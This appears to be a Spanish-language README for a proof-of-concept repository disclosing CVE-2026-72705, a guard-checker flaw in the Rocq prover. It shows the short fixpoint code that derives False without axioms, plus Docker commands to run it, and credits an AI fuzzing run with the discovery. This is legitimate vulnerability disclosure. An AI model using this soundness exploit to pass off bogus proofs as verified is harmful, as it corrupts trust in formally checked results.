endrazine/rocq-cve-poc-21683CVE-2026-72705 — El verificador Rocq Guard acepta un Fixpoint pasado como argumento de orden superior
Demostrando 0 = 1 sin axiomas mediante la paradoja de Russell a través del bypass del fixpoint en el verificador de guardas.
Descubierto de forma autónoma por Claude Opus 4.6 (Anthropic).
| Campo | Valor |
|---|---|
| Informe de error | rocq-prover/rocq#21683 |
| Corrección | PR #21684 |
| Afectado | Rocq ≤ 9.1.0 / todas las versiones de Coq con verificador de guardas |
| Corregido en | 9.2.0 |
| CVSS 3.1 | AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N — 7.1 |
| CWE | CWE-670 (Implementación de flujo de control siempre incorrecta) |
| CVE | CVE-2026-72705 |
El verificador de guardas acepta fixpoints que se pasan a sí mismos como argumentos de orden superior a otro fixpoint, el cual después los invoca sobre no-subtérminos del argumento estructural. Pasar una función recursiva a una Definition (constante que no es fixpoint) se rechaza correctamente — el verificador de guardas la despliega y detecta la llamada problemática. Pero pasarla a un Fixpoint se acepta incorrectamente.
Esto crea una paradoja al estilo de Russell en 4 líneas:
Definition delta (x : russell 1) : False := x x.
Definition omega : False := delta delta.
donde russell 1 es definicionalmente igual a russell 1 -> False — un tipo
que es su propia negación. La autoaplicación da False directamente.
El exploit:
Print Assumptions informa "Closed under the global context"False son 4 líneas de código funcionalQed — puramente definicionaldocker build -t rocq-cve-poc-21683 .
docker run --rm rocq-cve-poc-21683
Cualquier sistema que confíe en las pruebas verificadas por el kernel de Rocq se ve afectado:
iterate_to_neg f n seed :=
match n with
| 0 => f seed -> False (* negate after n steps *)
| S m => iterate_to_neg f m seed
end
russell n :=
match n with
| 0 => True
| S m => iterate_to_neg russell 1 (S m) (* passes ITSELF *)
end
El verificador de guardas debería rechazar russell porque se pasa a sí mismo como argumento de orden superior a iterate_to_neg, que luego lo llama sobre S m (no un subtérmino de n). Pero el verificador solo rastrea llamadas recursivas directas, no llamadas a través de argumentos de punto fijo de orden superior.
russell 1 = iterate_to_neg russell 1 1
= iterate_to_neg russell 0 1
= russell 1 -> False
Así que russell 1 ≡ russell 1 -> False. Este es el conjunto de Russell clásico: el conjunto de todos los conjuntos que no se contienen a sí mismos. La autoaplicación da:
delta : russell 1 -> False (* russell 1 = russell 1 -> False *)
delta x := x x (* x : russell 1 = russell 1 -> False *)
omega : False
omega := delta delta (* delta : russell 1 -> False = russell 1 *)
Este error fue encontrado de forma autónoma por Claude Opus 4.6 durante una
ejecución de fuzzing nocturna organizada por Tristan Stérin (@tcosmo), a partir de indicios de
Yannick Forster (@yforster) sobre el verificador de guardas. La IA identificó el
patrón de omisión del punto fijo de orden superior y construyó el exploit mínimo
iterate_to_neg/russell.
Véase: hilo de Zulip